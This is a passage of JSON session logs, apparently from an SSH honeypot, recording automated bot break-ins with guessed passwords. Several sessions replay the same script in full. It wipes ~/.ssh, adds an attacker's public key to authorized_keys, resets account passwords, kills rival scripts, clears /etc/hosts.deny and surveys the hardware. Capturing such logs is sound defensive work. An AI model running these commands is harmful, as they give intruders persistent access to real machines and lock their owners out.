complete","commands":18,"transcript_bytes":2129,"events":[{"seq":1,"at":"2026-08-27T13:53:55.211429+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:53:56.041467+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:54:02.656288+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:54:04.657087+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:54:05.489088+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Password!1\\nrhgpfatTW6at\\nrhgpfatTW6at\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:54:06.323059+00:00","kind":"input","latency_ms":null,"data":"echo \"Password!1\\nrhgpfatTW6at\\nrhgpfatTW6at\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:54:06.586402+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:54:07.153581+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:54:08.053720+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:54:08.209150+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:54:09.042695+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:54:10.050594+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:54:10.894601+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:54:12.549795+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:54:13.384664+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:54:14.846365+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:54:15.687775+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:54:17.339432+00:00","kind":"output","latency_ms":null,"data":" 13:54:17 up 7 days, 10:44, 0 user, load average: 0.06, 0.05, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:54:18.180247+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:54:19.882593+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:54:20.735282+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:54:22.017392+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:54:22.850711+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:54:24.409937+00:00","kind":"output","latency_ms":null,"data":"top - 13:54:24 up 7 days, 10:44, 0 user, load average: 0.06, 0.05, 0.05\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:54:25.242021+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:54:26.271513+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:54:27.102254+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:54:28.031088+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:54:28.870671+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:54:29.971554+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":31,"at":"2026-08-27T13:54:30.802452+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:54:32.572076+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:54:33.404705+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:54:34.854293+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"Password!1","method":"password","accepted":true,"tier":"other"}]} {"id":"9ae9b79c-5732-4116-be59-4558eeded964","name":"murky-plush-dipper","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":34438,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:54:01.337044+00:00","ended_at":"2026-08-27T13:54:02.389341+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ubuntu","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"45b2ee1b-63b6-4ee0-bdb8-348faeb79741","name":"seaward-blunt-hyrax","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":33634,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:53:58.312939+00:00","ended_at":"2026-08-27T13:53:59.683762+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b8066e45-449f-459c-84fe-f63d50fc71c0","name":"daring-dewy-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":37456,"username":"eva","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":350,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:53:37.878606+00:00","ended_at":"2026-08-27T13:53:39.794676+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2075,"events":[{"seq":1,"at":"2026-08-27T13:53:15.824439+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:53:16.644941+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:53:22.123627+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:53:22.607942+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:53:22.961044+00:00","kind":"input","latency_ms":null,"data":"echo -e \"eva\\n3PNKNCqs9eEU\\n3PNKNCqs9eEU\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:53:23.747228+00:00","kind":"input","latency_ms":null,"data":"echo \"eva\\n3PNKNCqs9eEU\\n3PNKNCqs9eEU\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:53:24.196170+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:53:24.500967+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:53:24.960732+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:53:26.152701+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:53:26.731335+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:53:27.698227+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:53:28.149619+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:53:29.037257+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:53:29.384399+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:53:29.933177+00:00","kind":"output","latency_ms":null,"data":" 13:53:29 up 7 days, 10:43, 0 user, load average: 0.32, 0.4, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:53:30.278593+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:53:30.882965+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:53:31.331644+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:53:31.782546+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:53:32.868482+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:53:33.437135+00:00","kind":"output","latency_ms":null,"data":"top - 13:53:33 up 7 days, 10:43, 0 user, load average: 0.32, 0.4, 0.2\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:53:33.782657+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:53:34.272348+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:53:34.619779+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:53:35.082677+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:53:35.428460+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:53:35.881151+00:00","kind":"output","latency_ms":null,"data":"eva"},{"seq":29,"at":"2026-08-27T13:53:36.225636+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:53:37.530319+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:53:37.879739+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:53:39.461366+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"eva","password":"eva","method":"password","accepted":true,"tier":"other"}]} {"id":"42c56893-6fe3-4c34-a279-cb026fd96ce3","name":"balmy-loyal-chough","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":41478,"username":"eva","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:53:20.343933+00:00","ended_at":"2026-08-27T13:53:22.014341+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"eva","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"61078aa0-8ce6-42ad-a348-22f7a992978d","name":"gnarled-russet-cuckoo","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":39244,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:53:17.465506+00:00","ended_at":"2026-08-27T13:53:19.430620+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ec9aca9c-fda7-4988-bfcf-99df46f96d42","name":"autumn-western-numbat","protocol":"ssh","channel_kind":null,"src_ip":"153.75.82.158","src_port":54936,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":2,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:53:03.208412+00:00","ended_at":"2026-08-27T13:53:04.638212+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"H0t_$tr0ng_p@ssw0rd_!","method":"password","accepted":false,"tier":"other"},{"username":"root","password":"H0t_$tr0ng_p@ssw0rd_!","method":"password","accepted":true,"tier":"other"}]} {"id":"417dfc62-0fd9-43c9-a4f8-92cd41f9e472","name":"brisk-wry-kingfisher","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":36774,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":839,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:52:51.857775+00:00","ended_at":"2026-08-27T13:52:54.106539+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2161,"events":[{"seq":1,"at":"2026-08-27T13:52:12.105208+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:52:12.941393+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:52:19.545107+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:52:20.429299+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:52:21.265585+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ZUKjkqecZaLE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:52:22.102073+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:52:22.522149+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:52:22.954550+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:52:24.341957+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:52:25.192474+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:52:26.680214+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:52:27.617207+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:52:29.762411+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:52:30.614200+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:52:32.326476+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T13:52:33.310636+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:52:34.130062+00:00","kind":"output","latency_ms":null,"data":" 13:52:34 up 7 days, 10:42, 0 user, load average: 0.28, 0.23, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:52:34.971600+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:52:36.618804+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:52:37.452401+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:52:39.454474+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:52:40.289655+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:52:41.178012+00:00","kind":"output","latency_ms":null,"data":"top - 13:52:41 up 7 days, 10:42, 0 user, load average: 0.28, 0.23, 0.24\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:52:42.013656+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:52:44.050771+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:52:44.891156+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:52:47.046627+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:52:47.883388+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:52:49.242282+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T13:52:50.079519+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:52:51.019132+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:52:51.858605+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:52:53.843218+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"0077","method":"password","accepted":true,"tier":"other"}]} {"id":"f405d14f-93e3-4094-aae4-44c257433406","name":"orderly-solar-serval","protocol":"ssh","channel_kind":null,"src_ip":"23.175.50.52","src_port":54308,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:52:50.934494+00:00","ended_at":"2026-08-27T13:53:25.615473+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"90c1146b-0652-44ba-8acc-5f52a11f13c9","name":"misty-humble-eider","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":38510,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:52:17.782566+00:00","ended_at":"2026-08-27T13:52:19.280128+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b239f01c-66cc-41cc-b57b-2956cb41f9de","name":"quartz-jolly-eagle","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":49030,"username":"user","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":198,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:52:15.254825+00:00","ended_at":"2026-08-27T13:52:15.355518+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T13:52:13.492184+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:52:14.051836+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:52:14.257996+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:52:14.258527+00:00","kind":"output","latency_ms":null,"data":" 13:52:14 up 7 days, 10:42, 0 user, load average: 0.14, 0.18, 0.14"},{"seq":5,"at":"2026-08-27T13:52:14.458141+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:52:14.458932+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:52:14.660535+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:52:14.667757+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:52:14.859165+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:52:14.860653+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:52:15.058306+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:52:15.059084+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:52:15.256180+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:52:15.256701+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"user","password":"1qq2w3e4r5t","method":"password","accepted":true,"tier":"other"}]} {"id":"3b779912-05a9-47bd-839d-c739eb8ab6a5","name":"wooded-curious-ocelot","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":37700,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:52:14.861196+00:00","ended_at":"2026-08-27T13:52:16.112657+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d35905db-dc88-46cb-bf64-12db1386a69a","name":"loyal-jaunty-wallaby","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":54154,"username":"terraria","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":343,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:52:14.024949+00:00","ended_at":"2026-08-27T13:52:14.976452+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2077,"events":[{"seq":1,"at":"2026-08-27T13:51:53.905585+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:51:54.591285+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:51:59.192117+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:51:59.587228+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:51:59.928416+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\nVD4stg0kRV9Y\\nVD4stg0kRV9Y\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:52:00.394121+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\nVD4stg0kRV9Y\\nVD4stg0kRV9Y\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:52:00.837525+00:00","kind":"input","latency_ms":null,"data":"cat 